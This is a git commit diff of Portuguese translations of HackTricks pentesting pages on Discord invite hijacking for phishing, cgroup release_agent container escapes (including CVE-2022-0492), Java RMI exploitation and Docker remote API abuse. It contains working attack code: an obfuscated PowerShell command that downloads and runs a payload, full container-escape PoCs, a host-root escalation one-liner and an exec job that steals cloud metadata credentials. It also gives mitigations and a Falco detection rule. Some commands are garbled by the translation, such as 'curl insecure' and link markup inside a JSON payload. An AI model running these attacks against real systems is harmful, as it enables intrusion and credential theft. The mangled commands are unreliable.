Translated ['src/generic-methodologies-and-resources/phishing-methodolog

This commit is contained in:
Translator 2025-07-12 15:26:50 +00:00
parent d81f4631d8
commit a40a6cd304
7 changed files with 143 additions and 71 deletions

View File

@ -6,11 +6,11 @@ A vulnerabilidade do sistema de convites do Discord permite que atores de ameaç
## Tipos de Convite e Risco de Sequestro ## Tipos de Convite e Risco de Sequestro
| Tipo de Convite | Sequestre? | Condição / Comentários | | Tipo de Convite | Sequestreável? | Condição / Comentários |
|-----------------------|-------------|------------------------------------------------------------------------------------------------------------| |-----------------------|----------------|--------------------------------------------------------------------------------------------------------------|
| Link de Convite Temporário | ✅ | Após a expiração, o código se torna disponível e pode ser re-registrado como uma URL personalizada por um servidor com boost. | | Link de Convite Temporário | ✅ | Após a expiração, o código se torna disponível e pode ser re-registrado como uma URL personalizada por um servidor com boost. |
| Link de Convite Permanente | ⚠️ | Se excluído e consistindo apenas de letras minúsculas e dígitos, o código pode se tornar disponível novamente. | | Link de Convite Permanente | ⚠️ | Se excluído e consistindo apenas de letras minúsculas e dígitos, o código pode se tornar disponível novamente. |
| Link Personalizado | ✅ | Se o servidor original perder seu Boost de Nível 3, seu convite personalizado se torna disponível para novo registro. | | Link Personalizado | ✅ | Se o servidor original perder seu Boost de Nível 3, seu convite personalizado se torna disponível para novo registro. |
## Etapas de Exploração ## Etapas de Exploração
@ -24,7 +24,7 @@ A vulnerabilidade do sistema de convites do Discord permite que atores de ameaç
- Para convites temporários, aguarde até que o convite original expire (ou exclua manualmente se você controlar a origem). - Para convites temporários, aguarde até que o convite original expire (ou exclua manualmente se você controlar a origem).
- Para códigos que contêm letras maiúsculas, a variante em minúsculas pode ser reivindicada imediatamente, embora a redireção só ative após a expiração. - Para códigos que contêm letras maiúsculas, a variante em minúsculas pode ser reivindicada imediatamente, embora a redireção só ative após a expiração.
4. Redirecionamento Silencioso 4. Redirecionamento Silencioso
- Usuários que visitam o link antigo são enviados sem problemas para o servidor controlado pelo atacante uma vez que o sequestro esteja ativo. - Usuários que visitam o link antigo são enviados de forma transparente para o servidor controlado pelo atacante uma vez que o sequestro esteja ativo.
## Fluxo de Phishing via Servidor Discord ## Fluxo de Phishing via Servidor Discord
@ -44,7 +44,7 @@ const cmd = `powershell -NoExit -Command "$r='NJjeywEMXp3L3Fmcv02bj5ibpJWZ0NXYw9
`iex (iwr -Uri $url)"`; `iex (iwr -Uri $url)"`;
navigator.clipboard.writeText(cmd); navigator.clipboard.writeText(cmd);
``` ```
Esta abordagem evita downloads diretos de arquivos e aproveita elementos de interface familiar para reduzir a suspeita do usuário. Essa abordagem evita downloads diretos de arquivos e aproveita elementos de UI familiares para reduzir a suspeita do usuário.
## Mitigações ## Mitigações
@ -55,7 +55,7 @@ Esta abordagem evita downloads diretos de arquivos e aproveita elementos de inte
## Referências ## Referências
- From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/ - From Trust to Threat: Hijacked Discord Invites Used for Multi-Stage Malware Delivery [https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/](https://research.checkpoint.com/2025/from-trust-to-threat-hijacked-discord-invites-used-for-multi-stage-malware-delivery/)
- Discord Custom Invite Link Documentation https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link - Discord Custom Invite Link Documentation [https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link](https://support.discord.com/hc/en-us/articles/115001542132-Custom-Invite-Link)
{{#include ../../banners/hacktricks-training.md}} {{#include ../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,9 @@
**Para mais detalhes, consulte o** [**post original do blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este é apenas um resumo: **Para mais detalhes, consulte o** [**post original do blog**](https://blog.trailofbits.com/2019/07/19/understanding-docker-container-escapes/)**.** Este é apenas um resumo:
Original PoC: ---
## PoC Clássica (2019)
```shell ```shell
d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)` d=`dirname $(ls -x /s*/fs/c*/*/r* |head -n1)`
mkdir -p $d/w;echo 1 >$d/w/notify_on_release mkdir -p $d/w;echo 1 >$d/w/notify_on_release
@ -12,38 +14,108 @@ t=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab`
touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh touch /o; echo $t/c >$d/release_agent;echo "#!/bin/sh
$1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o $1 >$t/o" >/c;chmod +x /c;sh -c "echo 0 >$d/w/cgroup.procs";sleep 1;cat /o
``` ```
A prova de conceito (PoC) demonstra um método para explorar cgroups criando um arquivo `release_agent` e acionando sua invocação para executar comandos arbitrários no host do contêiner. Aqui está uma análise das etapas envolvidas: A PoC explora o recurso **cgroup-v1** `release_agent`: quando a última tarefa de um cgroup que tem `notify_on_release=1` sai, o kernel (nos **namespaces iniciais no host**) executa o programa cujo caminho está armazenado no arquivo gravável `release_agent`. Como essa execução acontece com **plenos privilégios de root no host**, obter acesso de gravação ao arquivo é suficiente para uma fuga de container.
### Passo a passo curto e legível
1. **Preparar um novo cgroup**
1. **Preparar o Ambiente:**
- Um diretório `/tmp/cgrp` é criado para servir como um ponto de montagem para o cgroup.
- O controlador de cgroup RDMA é montado neste diretório. Em caso de ausência do controlador RDMA, sugere-se usar o controlador de cgroup `memory` como alternativa.
```shell
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp && mkdir /tmp/cgrp/x
```
2. **Configurar o Cgroup Filho:**
- Um cgroup filho chamado "x" é criado dentro do diretório cgroup montado.
- As notificações são ativadas para o cgroup "x" escrevendo 1 no seu arquivo notify_on_release.
```shell ```shell
mkdir /tmp/cgrp
mount -t cgroup -o rdma cgroup /tmp/cgrp # ou o memory
mkdir /tmp/cgrp/x
echo 1 > /tmp/cgrp/x/notify_on_release echo 1 > /tmp/cgrp/x/notify_on_release
``` ```
3. **Configurar o Agente de Liberação:**
- O caminho do contêiner no host é obtido a partir do arquivo /etc/mtab. 2. **Apontar `release_agent` para um script controlado pelo atacante no host**
- O arquivo release_agent do cgroup é então configurado para executar um script chamado /cmd localizado no caminho do host adquirido.
```shell ```shell
host_path=`sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab` host_path=$(sed -n 's/.*\perdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > /tmp/cgrp/release_agent echo "$host_path/cmd" > /tmp/cgrp/release_agent
``` ```
4. **Criar e Configurar o Script /cmd:**
- O script /cmd é criado dentro do contêiner e é configurado para executar ps aux, redirecionando a saída para um arquivo chamado /output no contêiner. O caminho completo de /output no host é especificado. 3. **Dropar o payload**
```shell ```shell
echo '#!/bin/sh' > /cmd cat <<'EOF' > /cmd
echo "ps aux > $host_path/output" >> /cmd #!/bin/sh
chmod a+x /cmd ps aux > "$host_path/output"
EOF
chmod +x /cmd
``` ```
5. **Acionar o Ataque:**
- Um processo é iniciado dentro do cgroup filho "x" e é imediatamente terminado. 4. **Acionar o notificador**
- Isso aciona o `release_agent` (o script /cmd), que executa ps aux no host e grava a saída em /output dentro do contêiner.
```shell ```shell
sh -c "echo \$\$ > /tmp/cgrp/x/cgroup.procs" sh -c "echo $$ > /tmp/cgrp/x/cgroup.procs" # adicionar a nós mesmos e sair imediatamente
cat /output # agora contém processos do host
``` ```
---
## Vulnerabilidade do kernel de 2022 CVE-2022-0492
Em fevereiro de 2022, Yiqi Sun e Kevin Wang descobriram que **o kernel *não* verificava capacidades quando um processo escrevia em `release_agent` no cgroup-v1** (função `cgroup_release_agent_write`).
Efetivamente, **qualquer processo que pudesse montar uma hierarquia de cgroup (por exemplo, via `unshare -UrC`) poderia escrever um caminho arbitrário em `release_agent` sem `CAP_SYS_ADMIN` no *namespace* de usuário *inicial***. Em um container Docker/Kubernetes configurado por padrão e rodando como root, isso permitiu:
* escalonamento de privilégios para root no host; ↗
* fuga de container sem que o container fosse privilegiado.
A falha foi atribuída como **CVE-2022-0492** (CVSS 7.8 / Alto) e corrigida nas seguintes versões do kernel (e todas as posteriores):
* 5.16.2, 5.15.17, 5.10.93, 5.4.176, 4.19.228, 4.14.265, 4.9.299.
Commit do patch: `1e85af15da28 "cgroup: Fix permission checking"`.
### Exploit mínimo dentro de um container
```bash
# prerequisites: container is run as root, no seccomp/AppArmor profile, cgroup-v1 rw inside
apk add --no-cache util-linux # provides unshare
unshare -UrCm sh -c '
mkdir /tmp/c; mount -t cgroup -o memory none /tmp/c;
echo 1 > /tmp/c/notify_on_release;
echo /proc/self/exe > /tmp/c/release_agent; # will exec /bin/busybox from host
(sleep 1; echo 0 > /tmp/c/cgroup.procs) &
while true; do sleep 1; done
'
```
Se o kernel for vulnerável, o binário busybox do *host* é executado com acesso total de root.
### Dureza e Mitigações
* **Atualize o kernel** (≥ versões acima). O patch agora requer `CAP_SYS_ADMIN` no *namespace* de usuário *inicial* para escrever em `release_agent`.
* **Prefira cgroup-v2** a hierarquia unificada **removeu completamente o recurso `release_agent`**, eliminando essa classe de escapes.
* **Desative namespaces de usuário não privilegiados** em hosts que não precisam deles:
```shell
sysctl -w kernel.unprivileged_userns_clone=0
```
* **Controle de acesso obrigatório**: Políticas do AppArmor/SELinux que negam `mount`, `openat` em `/sys/fs/cgroup/**/release_agent`, ou removem `CAP_SYS_ADMIN`, impedem a técnica mesmo em kernels vulneráveis.
* **Bind-mask somente leitura** para todos os arquivos `release_agent` (exemplo de script Palo Alto):
```shell
for f in $(find /sys/fs/cgroup -name release_agent); do
mount --bind -o ro /dev/null "$f"
done
```
## Detecção em tempo de execução
[`Falco`](https://falco.org/) inclui uma regra embutida desde a v0.32:
```yaml
- rule: Detect release_agent File Container Escapes
desc: Detect an attempt to exploit a container escape using release_agent
condition: open_write and container and fd.name endswith release_agent and
(user.uid=0 or thread.cap_effective contains CAP_DAC_OVERRIDE) and
thread.cap_effective contains CAP_SYS_ADMIN
output: "Potential release_agent container escape (file=%fd.name user=%user.name cap=%thread.cap_effective)"
priority: CRITICAL
tags: [container, privilege_escalation]
```
A regra é acionada em qualquer tentativa de escrita em `*/release_agent` de um processo dentro de um contêiner que ainda possui `CAP_SYS_ADMIN`.
## Referências
* [Unit 42 CVE-2022-0492: container escape via cgroups](https://unit42.paloaltonetworks.com/cve-2022-0492-cgroups/) análise detalhada e script de mitigação.
* [Sysdig Falco rule & detection guide](https://sysdig.com/blog/detecting-mitigating-cve-2022-0492-sysdig/)
{{#include ../../../../banners/hacktricks-training.md}} {{#include ../../../../banners/hacktricks-training.md}}

View File

@ -4,7 +4,7 @@
## Informações Básicas ## Informações Básicas
_Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _máquina virtual Java_ chame métodos em um objeto localizado em outra _máquina virtual Java_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t_aw1mDNhzI?t=202). _Java Remote Method Invocation_, ou _Java RMI_, é um mecanismo _RPC_ orientado a objetos que permite que um objeto localizado em uma _Java virtual machine_ chame métodos em um objeto localizado em outra _Java virtual machine_. Isso permite que os desenvolvedores escrevam aplicações distribuídas usando um paradigma orientado a objetos. Uma breve introdução ao _Java RMI_ de uma perspectiva ofensiva pode ser encontrada [nesta palestra do blackhat](https://youtu.be/t_aw1mDNhzI?t=202).
**Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999 **Porta padrão:** 1090,1098,1099,1199,4443-4446,8999-9010,9999
``` ```
@ -27,7 +27,7 @@ Para simplificar, _Java RMI_ permite que um desenvolvedor torne um _objeto Java_
O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente. O primeiro desafio é resolvido pelo _RMI registry_, que é basicamente um serviço de nomeação para _Java RMI_. O _RMI registry_ em si também é um _serviço RMI_, mas a interface implementada e o `ObjID` são fixos e conhecidos por todos os clientes _RMI_. Isso permite que os clientes _RMI_ consumam o _RMI registry_ apenas conhecendo a porta _TCP_ correspondente.
Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _nome vinculado_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _nome vinculado_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo: Quando os desenvolvedores querem tornar seus _objetos Java_ disponíveis na rede, geralmente os vinculam a um _RMI registry_. O _registry_ armazena todas as informações necessárias para se conectar ao objeto (endereço IP, porta de escuta, classe ou interface implementada e o valor `ObjID`) e as torna disponíveis sob um nome legível por humanos (o _bound name_). Clientes que desejam consumir o _serviço RMI_ pedem ao _RMI registry_ o _bound name_ correspondente e o registry retorna todas as informações necessárias para a conexão. Assim, a situação é basicamente a mesma que com um serviço _DNS_ comum. A listagem a seguir mostra um pequeno exemplo:
```java ```java
import java.rmi.registry.Registry; import java.rmi.registry.Registry;
import java.rmi.registry.LocateRegistry; import java.rmi.registry.LocateRegistry;
@ -51,7 +51,7 @@ e.printStackTrace();
} }
} }
``` ```
O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação ao _DGC_ de que o _remote object_ correspondente está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados. O segundo dos desafios mencionados acima é resolvido pelo _Distributed Garbage Collector_ (_DGC_). Este é outro _RMI service_ com um valor `ObjID` bem conhecido e está disponível em basicamente cada _RMI endpoint_. Quando um _RMI client_ começa a usar um _RMI service_, ele envia uma informação para o _DGC_ de que o correspondente _remote object_ está em uso. O _DGC_ pode então rastrear a contagem de referências e é capaz de limpar objetos não utilizados.
Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_: Juntamente com o _Activation System_ obsoleto, estes são os três componentes padrão do _Java RMI_:
@ -80,7 +80,7 @@ $ rmg enum 172.17.0.2 9010
[+] [+]
[+] RMI server codebase enumeration: [+] RMI server codebase enumeration:
[+] [+]
[+] - http://iinsecure.dev/well-hidden-development-folder/ [+] - [http://iinsecure.dev/well-hidden-development-folder/](http://iinsecure.dev/well-hidden-development-folder/)
[+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub [+] --> de.qtc.rmg.server.legacy.LegacyServiceImpl_Stub
[+] --> de.qtc.rmg.server.interfaces.IPlainServer [+] --> de.qtc.rmg.server.interfaces.IPlainServer
[+] [+]
@ -125,7 +125,7 @@ $ rmg enum 172.17.0.2 9010
``` ```
A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas. A saída da ação de enumeração é explicada em mais detalhes nas [páginas de documentação](https://github.com/qtc-de/remote-method-guesser/blob/master/docs/rmg/actions.md#enum-action) do projeto. Dependendo do resultado, você deve tentar verificar as vulnerabilidades identificadas.
Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir a identificação de outras vulnerabilidades: Os valores `ObjID` exibidos pelo _remote-method-guesser_ podem ser usados para determinar o tempo de atividade do serviço. Isso pode permitir identificar outras vulnerabilidades:
``` ```
$ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]' $ rmg objid '[55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]'
[+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236] [+] Details for ObjID [55ff5a5d:17e0501b054:-7ff8, -4004948013687638236]
@ -170,7 +170,7 @@ $ rmg guess 172.17.0.2 9010
[+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode) [+] --> void releaseRecord(int recordID, String tableName, Integer remoteHashCode)
[+] --> String login(java.util.HashMap dummy1) [+] --> String login(java.util.HashMap dummy1)
``` ```
Os métodos identificados podem ser chamados assim: Métodos identificados podem ser chamados assim:
``` ```
$ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar $ rmg call 172.17.0.2 9010 '"id"' --bound-name plain-server --signature "String execute(String dummy)" --plugin GenericPrint.jar
[+] uid=0(root) gid=0(root) groups=0(root) [+] uid=0(root) gid=0(root) groups=0(root)
@ -205,7 +205,7 @@ Mais informações podem ser encontradas nestes artigos:
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://bishopfox.com/blog/rmiscout) - [rmiscout](https://bishopfox.com/blog/rmiscout)
Além de adivinhar, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui. Além de adivinhações, você também deve procurar em motores de busca ou _GitHub_ pela interface ou até mesmo pela implementação de um serviço _RMI_ encontrado. O _bound name_ e o nome da classe ou interface implementada podem ser úteis aqui.
## Interfaces Conhecidas ## Interfaces Conhecidas
@ -238,8 +238,8 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] - javax.management.remote.rmi.RMIConnection newClient(Object params) [+] - javax.management.remote.rmi.RMIConnection newClient(Object params)
[+] [+]
[+] References: [+] References:
[+] - https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html [+] - [https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html](https://docs.oracle.com/javase/8/docs/technotes/guides/management/agent.html)
[+] - https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi [+] - [https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi](https://github.com/openjdk/jdk/tree/master/src/java.management.rmi/share/classes/javax/management/remote/rmi)
[+] [+]
[+] Vulnerabilities: [+] Vulnerabilities:
[+] [+]
@ -253,7 +253,7 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] is therefore most of the time equivalent to remote code execution. [+] is therefore most of the time equivalent to remote code execution.
[+] [+]
[+] References: [+] References:
[+] - https://github.com/qtc-de/beanshooter [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
[+] [+]
[+] ----------------------------------- [+] -----------------------------------
[+] Name: [+] Name:
@ -266,23 +266,23 @@ $ rmg known javax.management.remote.rmi.RMIServerImpl_Stub
[+] establish a working JMX connection, you can also perform deserialization attacks. [+] establish a working JMX connection, you can also perform deserialization attacks.
[+] [+]
[+] References: [+] References:
[+] - https://github.com/qtc-de/beanshooter [+] - [https://github.com/qtc-de/beanshooter](https://github.com/qtc-de/beanshooter)
``` ```
## Shodan ## Shodan
- `port:1099 java` - `port:1099 java`
## Ferramentas ## Tools
- [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
- [rmiscout](https://github.com/BishopFox/rmiscout) - [rmiscout](https://github.com/BishopFox/rmiscout)
- [BaRMIe](https://github.com/NickstaDB/BaRMIe) - [BaRMIe](https://github.com/NickstaDB/BaRMIe)
## Referências ## References
- [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser) - [https://github.com/qtc-de/remote-method-guesser](https://github.com/qtc-de/remote-method-guesser)
## Comandos Automáticos HackTricks ## HackTricks Comandos Automáticos
``` ```
Protocol_Name: Java RMI #Protocol Abbreviation if there is one. Protocol_Name: Java RMI #Protocol Abbreviation if there is one.
Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one. Port_Number: 1090,1098,1099,1199,4443-4446,8999-9010,9999 #Comma separated if there is more than one.

View File

@ -10,7 +10,7 @@ Docker é a **plataforma de ponta** na **indústria de containerização**, lide
#### Arquitetura básica do docker #### Arquitetura básica do docker
- [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais adiante**. - [**containerd**](http://containerd.io): Este é um **runtime central** para containers, encarregado da **gestão abrangente do ciclo de vida de um container**. Isso envolve o manuseio de **transferência e armazenamento de imagens**, além de supervisionar a **execução, monitoramento e rede** de containers. **Mais detalhes** sobre containerd são **explorados mais a fundo**.
- O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados. - O **container-shim** desempenha um papel crítico como um **intermediário** no manuseio de **containers sem cabeça**, assumindo de forma contínua a partir do **runc** após os containers serem inicializados.
- [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**. - [**runc**](http://runc.io): Reconhecido por suas capacidades de **runtime de container leve e universal**, runc está alinhado com o **padrão OCI**. É utilizado pelo containerd para **iniciar e gerenciar containers** de acordo com as **diretrizes OCI**, tendo evoluído do original **libcontainer**.
- [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**. - [**grpc**](http://www.grpc.io) é essencial para **facilitar a comunicação** entre containerd e o **docker-engine**, garantindo uma **interação eficiente**.
@ -45,7 +45,7 @@ docker system prune -a
Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta. Uma decisão de design chave é que **Containerd não lida com redes**. A rede é considerada um elemento crítico em sistemas distribuídos, com complexidades como Redes Definidas por Software (SDN) e descoberta de serviços que variam significativamente de uma plataforma para outra. Portanto, o Containerd deixa os aspectos de rede para serem gerenciados pelas plataformas que suporta.
Enquanto **Docker utiliza Containerd** para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas para as plataformas com as quais se integra. Enquanto **Docker utiliza Containerd** para executar contêineres, é importante notar que o Containerd suporta apenas um subconjunto das funcionalidades do Docker. Especificamente, o Containerd não possui as capacidades de gerenciamento de rede presentes no Docker e não suporta a criação de swarms do Docker diretamente. Essa distinção destaca o papel focado do Containerd como um ambiente de execução de contêiner, delegando funcionalidades mais especializadas às plataformas com as quais se integra.
```bash ```bash
#Containerd CLI #Containerd CLI
ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image ctr images pull --skip-verify --plain-http registry:5000/alpine:latest #Get image
@ -70,12 +70,12 @@ Podman é projetado para ser compatível com a API do Docker, permitindo o uso d
**Principais Diferenças** **Principais Diferenças**
- **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root. - **Arquitetura**: Ao contrário do modelo cliente-servidor do Docker com um daemon em segundo plano, o Podman opera sem um daemon. Esse design significa que os contêineres são executados com os privilégios do usuário que os inicia, aumentando a segurança ao eliminar a necessidade de acesso root.
- **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo a gestão de contêineres através de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker. - **Integração com Systemd**: O Podman se integra ao **systemd** para gerenciar contêineres, permitindo o gerenciamento de contêineres por meio de unidades do systemd. Isso contrasta com o uso do systemd pelo Docker, que é principalmente para gerenciar o processo do daemon do Docker.
- **Contêineres Sem Root**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root. - **Contêineres Sem Root**: Uma característica fundamental do Podman é sua capacidade de executar contêineres sob os privilégios do usuário que os inicia. Essa abordagem minimiza os riscos associados a brechas em contêineres, garantindo que os atacantes obtenham apenas os privilégios do usuário comprometido, e não acesso root.
A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando a gestão de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker. A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfatizando o gerenciamento de privilégios do usuário e a compatibilidade com fluxos de trabalho existentes do Docker.
> [!NOTE] > [!TIP]
> Note que, como o podman visa suportar a mesma API que o docker, você pode usar os mesmos comandos com podman que com docker, como: > Note que, como o podman visa suportar a mesma API que o docker, você pode usar os mesmos comandos com podman que com docker, como:
> >
> ```bash > ```bash
@ -87,7 +87,7 @@ A abordagem do Podman oferece uma alternativa segura e flexível ao Docker, enfa
### Informações Básicas ### Informações Básicas
A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/gravar arquivos do ambiente do host. A API remota está em execução por padrão na porta 2375 quando habilitada. O serviço, por padrão, não exigirá autenticação, permitindo que um atacante inicie um contêiner docker privilegiado. Ao usar a API remota, pode-se anexar hosts / (diretório raiz) ao contêiner e ler/escrever arquivos do ambiente do host.
**Porta padrão:** 2375 **Porta padrão:** 2375
``` ```
@ -98,7 +98,7 @@ PORT STATE SERVICE
#### Manual #### Manual
Note que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo: Observe que, para enumerar a API do docker, você pode usar o comando `docker` ou `curl`, como no seguinte exemplo:
```bash ```bash
#Using curl #Using curl
curl -s http://open.docker.socket:2375/version | jq #Get version curl -s http://open.docker.socket:2375/version | jq #Get version
@ -134,12 +134,12 @@ docker-init:
Version: 0.18.0 Version: 0.18.0
GitCommit: fec3683 GitCommit: fec3683
``` ```
Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos** do **docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço. Se você pode **contatar a API remota do docker com o comando `docker`** você pode **executar** qualquer um dos **comandos do docker** [**comentados anteriormente**](2375-pentesting-docker.md#basic-commands) para interagir com o serviço.
> [!NOTE] > [!TIP]
> Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker > Você pode `export DOCKER_HOST="tcp://localhost:2375"` e **evitar** usar o parâmetro `-H` com o comando docker
**Escalação rápida de privilégios** **Escalada de privilégios rápida**
```bash ```bash
docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash docker run -it -v /:/host/ ubuntu:latest chroot /host/ bash
``` ```
@ -152,7 +152,7 @@ curl insecure https://tlsopen.docker.socket:2376/containers/json | jq
#List processes inside a container #List processes inside a container
curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq curl insecure https://tlsopen.docker.socket:2376/containers/f9cecac404b01a67e38c6b4111050c86bbb53d375f9cca38fa73ec28cc92c668/top | jq
#Set up and exec job to hit the metadata URL #Set up and exec job to hit the metadata URL
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}' curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/containers/blissful_engelbart/exec -d '{ "AttachStdin": false, "AttachStdout": true, "AttachStderr": true, "Cmd": ["/bin/sh", "-c", "wget -qO- [http://169.254.169.254/latest/meta-data/identity-credentials/ec2/security-credentials/ec2-instance"]}']
#Get the output #Get the output
curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}' curl insecure -X POST -H "Content-Type: application/json" https://tlsopen.docker.socket:2376/exec/4353567ff39966c4d231e936ffe612dbb06e1b7dd68a676ae1f0a9c9c0662d55/start -d '{}'
# list secrets (no secrets/swarm not set up) # list secrets (no secrets/swarm not set up)
@ -190,7 +190,7 @@ Na página a seguir, você pode encontrar maneiras de **escapar de um contêiner
../linux-hardening/privilege-escalation/docker-security/ ../linux-hardening/privilege-escalation/docker-security/
{{#endref}} {{#endref}}
